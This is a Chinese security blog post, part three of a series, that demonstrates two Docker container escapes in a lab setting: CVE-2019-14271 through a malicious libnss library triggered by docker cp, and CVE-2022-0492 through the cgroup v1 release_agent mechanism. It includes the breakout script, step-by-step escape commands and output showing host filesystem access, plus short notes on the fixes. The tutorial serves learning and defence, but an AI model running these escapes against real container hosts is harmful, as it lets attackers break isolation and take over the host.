暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

docker学习之可可带你学逃逸(三)

天命团队 2022-05-30
845

前文:docker学习之可可带你学逃逸(一)

docker学习之可可带你学逃逸(二)

容器内核漏洞导致逃逸

CVE-2019-14271:Docker copy漏洞

漏洞原理

docker cp命令用于容器与宿主机,容器与容器之间进行文件的传递,具体用法

  1. docker cp container_name:/var/logs /some/host/path #容器向主机传递

  2. docker cp /some/host/path container_name:/some/host/path #主机向容器传递

当使用 docker cp
命令,从容器向宿主机传递文件时,在docker容器中会调用 docker-tar
帮助进程,通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中

docker-tar
命令调用的过程中会加载多个 libnss_*.so
库,由于我们使用了chroot到容器中,所以在运行 docker-tar
过程中会调用容器文件系统中的相关库,并执行加载,因此我们可以将恶意代码写入 libnss_*.so
库中替换原本的库,在 chroot
特权条件下执行 mount
等操作。

当其他容器或宿主机使用 docker cp
命令复制文件时,将会加载我们的恶意代码,实现docker逃逸

漏洞利用

参考exp:https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp

libnss_files.so.2
中加载了自定义的恶意命令,执行 breakout
文件

在breakout中执行了如下的命令

  1. #!/bin/bash

  2. exec > /break_logs 2>&1 # defer output & err to break_logs


  3. umount /host_fs && rm -rf /host_fs

  4. mkdir /host_fs


  5. mount -t proc none /proc # mount host's procfs

  6. cd /proc/1/root # chdirs to host's root

  7. mount --bind . /host_fs # mount host root at host_fs


  8. echo "Hello from within the container!" > /host_fs/evil

首先挂载了宿主机的procfs文件到 /proc
下(为了获得对宿主机root文件系统的引用),进入到对应主机进程的root目录下,然后将宿主机的根目录挂载到 host_fs
文件夹下,并验证了命令执行相关操作

将已经编译好的恶意 libnss_files.so.2
文件与容器中原文件进行替换,使用 docker cp
命令加载调用对应so库,在容器内会出现 host_fs
文件挂载了宿主机的主目录,实现了逃逸

  1. root@b3acb7cb5b1e:/# cd exp/

  2. root@b3acb7cb5b1e:/exp# ls

  3. breakout libnss_files.so.2 original_libnss_files.so.2

  4. root@b3acb7cb5b1e:/exp# cp /exp/* /

  5. root@b3acb7cb5b1e:/exp# chmod 777 /breakout

  6. root@b3acb7cb5b1e:/exp# touch /logs

  7. root@b3acb7cb5b1e:/exp# rm /lib/x86_64-linux-gnu/libnss_files.so.2

  8. root@b3acb7cb5b1e:/exp# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/

  9. root@b3acb7cb5b1e:/exp# exit

  10. root@vigorous-virtual-machine:/home/vigorous/metarget/writeups_cnv/docker-cve-2019-14271# docker cp 14271:/logs ./

  11. root@vigorous-virtual-machine:/home/vigorous/metarget/writeups_cnv/docker-cve-2019-14271# docker exec -it b3acb7cb5b1e /bin/bash

  12. root@b3acb7cb5b1e:/# ls

  13. bin boot break_logs breakout dev etc exp home host_fs lib lib32 lib64 libx32 logs media mnt opt proc root run sbin srv sys tmp usr var

  14. root@b3acb7cb5b1e:/# cd host_fs/

  15. root@b3acb7cb5b1e:/host_fs# ls

  16. bin boot cdrom data dev etc evil home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var vmlinuz vmlinuz.old

  17. root@b3acb7cb5b1e:/host_fs# cat evil

  18. Hello from within the container!

漏洞修复

漏洞补丁修复了 docker-tar
init
函数,避免存在问题的Go package调用任意函数。补丁强制 docker-tar
chroot
到容器前,先从宿主机系统中加载 libnss

CVE-2022-0492:cgroup内核漏洞

Linux 支持两种 cgroup 架构,称为 v1 和 v2。本漏洞仅影响 cgroup v1,这是目前使用更广泛的架构,所以下面所谈及的是 cgroup v1

本次漏洞基于内核版本为 linux-image-4.15.0-101-generic
runc版本为 1.0.1-0

漏洞原理

漏洞原理与前文中提到的 SYS_ADMIN
权限滥用中利用 notify_on_release
文件逃逸原理相同

cgroup v1
中存在两个特性文件 release_agent
notify_on_release
,当该 cgroup
中所有进程执行完毕后,会检索是否启用了 notify_on_release
文件,文件内容为1则代表启用,0则代表关闭,当该文件被启用后,则以root权限执行 release_agent
文件中对应路径的文件(在 release_agent
文件中写入的是需要执行文件的绝对路径)

执行该漏洞的前提条件是需要我们有权限去写入这两个文件,但因为linux对该文件的的设置,需要相对高级的root权限才可以写入,所以在普通的容器中, cgroup
下对应的子系统都只有可读权限

  1. root@9f0dff83002a:/# mount | grep cgroup

  2. tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)

  3. cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)

  4. cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)

  5. cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)

  6. cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma,release_agent=1)

  7. cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)

  8. cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)

  9. cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)

  10. cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)

  11. cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)

  12. cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)

  13. cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)

  14. cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)

所以想要写入该文件,就需要将宿主机的子系统挂载出来,那么就需要在启动docker时将安全组策略 apparmor
关闭,同时还需要关闭 seccomp
安全配置,这样我们就可以通过 unshare
在docker中重新分配一个新的资源环境,也就拥有了 sys_admin
的权限,就可以进行任意的挂载命令,再任意写入两个文件

  1. root@9f0dff83002a:/# unshare -UrmC bash

  2. root@9f0dff83002a:/# cat /proc/self/status | grep CapEff

  3. CapEff: 0000003fffffffff

可以看到在执行过 unshare
命令后,此时的权限为特权模式,接下来进行挂载子系统的操作

  1. root@9f0dff83002a:/# mkdir /tmp/vigorous

  2. root@9f0dff83002a:/# mount -t cgroup -o memory cgroup /tmp/vigorous

  3. root@9f0dff83002a:/# ls /tmp/vigorous/

  4. cgroup.clone_children memory.force_empty memory.kmem.slabinfo memory.kmem.tcp.usage_in_bytes memory.move_charge_at_immigrate memory.soft_limit_in_bytes memory.use_hierarchy

  5. cgroup.event_control memory.kmem.failcnt memory.kmem.tcp.failcnt memory.kmem.usage_in_bytes memory.numa_stat memory.stat notify_on_release

  6. cgroup.procs memory.kmem.limit_in_bytes memory.kmem.tcp.limit_in_bytes memory.limit_in_bytes memory.oom_control memory.swappiness tasks

  7. memory.failcnt memory.kmem.max_usage_in_bytes memory.kmem.tcp.max_usage_in_bytes memory.max_usage_in_bytes memory.pressure_level memory.usage_in_bytes

挂载成功后会发现在 memory
系统中不存在 release_agent
文件,因为 release_agent
文件仅在宿主机的根目录可见,我们挂载的 memory
可能不在宿主机上,只是docker容器中的一个子系统,接下来我们查看容器中子系统的挂载情况(要退回到原来的docker容器中查看)

  1. root@9f0dff83002a:/# cat /proc/self/cgroup

  2. 12:perf_event:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  3. 11:memory:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  4. 10:pids:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  5. 9:freezer:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  6. 8:blkio:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  7. 7:hugetlb:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  8. 6:cpuset:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  9. 5:net_cls,net_prio:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  10. 4:rdma:/

  11. 3:cpu,cpuacct:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  12. 2:devices:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  13. 1:name=systemd:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936

  14. 0::/system.slice/containerd.service

可以看到只有 rdma
是挂载在宿主机的根目录下的,这是runc版本为 1.0.1-0
下的特殊情况,在版本为 1.1.1
的runc中所有的子系统都将挂载在对应docker容器中

所以我们需要再次执行 unshare
命令,挂载 rdma
这个子系统

  1. root@9f0dff83002a:/# unshare -UrmC bash

  2. root@9f0dff83002a:/# mount -t cgroup -o rdma cgroup /tmp/vigorous/

  3. root@9f0dff83002a:/# ls /tmp/vigorous/

  4. cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks

这是我们就成功挂载到宿主机中,得到了 notify_on_release
release_agent
文件,接下来依次写入执行代码即可

在最新的内核版本中, unshare
下的权限已经没有如上两个文件的写入权限,所以我们选用的是 linux-image-4.15.0-101-generic
的内核版本

漏洞利用

启动docker容器,关闭 seccomp
apparmor

  1. docker run -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined --name=ubuntu ubuntu

挂载 rdma
子系统,写入对应命令到两个文件中,在 output
文件中可以看到 ps aux
的命令执行结果

  1. root@9f0dff83002a:/# echo 1 > /tmp/vigorous/notify_on_release

  2. root@9f0dff83002a:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

  3. root@9f0dff83002a:/# echo "$host_path/cmd" > /tmp/vigorous/release_agent

  4. root@9f0dff83002a:/# echo '#!/bin/sh' > /cmd

  5. root@9f0dff83002a:/# echo "ps aux > $host_path/output" >> /cmd

  6. root@9f0dff83002a:/# chmod a+x /cmd

  7. root@9f0dff83002a:/# mkdir /tmp/vigorous/x

  8. root@9f0dff83002a:/# ls /tmp/vigorous/x

  9. cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks

  10. root@9f0dff83002a:/# sh -c "echo \$\$ > /tmp/vigorous/x/cgroup.procs"

  11. root@9f0dff83002a:/# ls

  12. bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var

  13. root@9f0dff83002a:/# cat output

  14. USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

  15. root 1 0.0 0.4 159772 8940 ? Ss 14:50 0:00 /sbin/init splash

  16. root 2 0.0 0.0 0 0 ? S 14:50 0:00 [kthreadd]

  17. root 4 0.0 0.0 0 0 ? I< 14:50 0:00 [kworker/0:0H]

  18. root 6 0.0 0.0 0 0 ? I< 14:50 0:00 [mm_percpu_wq]

  19. root 7 0.0 0.0 0 0 ? S 14:50 0:00 [ksoftirqd/0]

  20. root 8 0.0 0.0 0 0 ? I 14:50 0:00 [rcu_sched]

  21. root 9 0.0 0.0 0 0 ? I 14:50 0:00 [rcu_bh]

  22. root 10 0.0 0.0 0 0 ? S 14:50 0:00 [migration/0]

  23. root 11 0.0 0.0 0 0 ? S 14:50 0:00 [watchdog/0]

  24. ....

漏洞修复

在最新版本的runc中修改了 rdma
子系统的挂载目录,将docker容器中所有的子系统都挂载到了对应的容器下

在新版本的内核中也对权限做了相应的限制

Reference

https://xz.aliyun.com/t/6806

https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/


文章转载自天命团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论